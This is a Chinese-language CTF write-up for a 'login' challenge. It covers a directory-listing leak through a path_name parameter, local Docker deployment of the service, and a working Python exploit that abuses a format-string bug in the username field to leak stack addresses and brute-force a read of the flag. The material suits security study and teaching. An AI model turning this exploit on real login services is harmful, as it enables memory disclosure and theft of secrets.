login
当初比赛的时候,一连上去还以为要传马,试了半天结果没反应然后开始坐牢
泄露环境
随便输入然后登录
最好是随便
然后进file manager,开始审源码(pwn?web!)
发现有个view_file和list_files函数,view_file有个参数path_name,但是url添上路径后无事发生。再尝试一下在list_files后门也加path_name(/),神奇的一幕出现了!根目录所有文件都出来了,点击链接就是下载这些文件。
具体过程可以在ida里看到,这里不细嗦了x
总之我们现在是拿到环境了,接下来就是本地部署环境。
本地环境部署(docker部署pwn题)
这一步我主要看的是9man师傅的博客。
在上一步把这些东西全都下载下来然后放到一个文件夹中
我这边没改run.sh文件,所以到时候程序不会将flag文件open并读到堆上,但是栈上有设置的环境变量flag,所以
差不多。
1.构建镜像
sudo docker build -t login .
#在这个文件夹里开启终端,dockerfile在这里
#记得要有最后那个点
2.检查镜像是否构建成功
sudo docker image
3.建立容器
sudo docker -i -d -P login
#-P参数是映射到随机空闲高端口,也可以用-p来指定端口
4.查看建立的容器信息
sudo docker ps -all
5.停止容器
sudo docker stop {docker ps之后看到的容器id}
6.删除容器
sudo docker rm {容器id}
7.查看pid(用于gdb调试)
ps -ef | grep 'login'
8.调试
sudo gdb attach {第七步查到的端口号}
然后就可以本地运行调试了。
Get flag!
可以看到上面我在登录时用了格式化字符串,然后ida看到第108行
栈上格式化字符串漏洞,又因为flag会被读到堆上(我这里直接看栈),直接任意地址读flag就完了。
先贴exp:
import requests
import re
from pwn import *
payload1=b'%15202$p'
params={'user':payload1,'password':'1'}
response=requests.get('http://127.0.0.1:32774/login',params=params)
print('GET response:', response.text)
stack=re.findall(r'0x([0-9a-fA-F]+)',response.text)
stack=int(stack[0],16)
print('stack=',hex(stack))
flag=stack+0x2003
while flag:
flag=flag+0x8
print('flag=',hex(flag))
payload2=b'aaa%36$s'+p64(flag)
params={'user':payload2,'password':'1'}
response=requests.get('http://127.0.0.1:32774/login',params=params)
if re.findall('flag',response.text):
break
print('GET response:', response.text)
用了一点简单的requests和re模块的内容
底下的while循环是因为泄露的栈地址与flag地址偏移会发生变化,但是flag地址的最低一位好像一直是3(?),所以就直球爆破。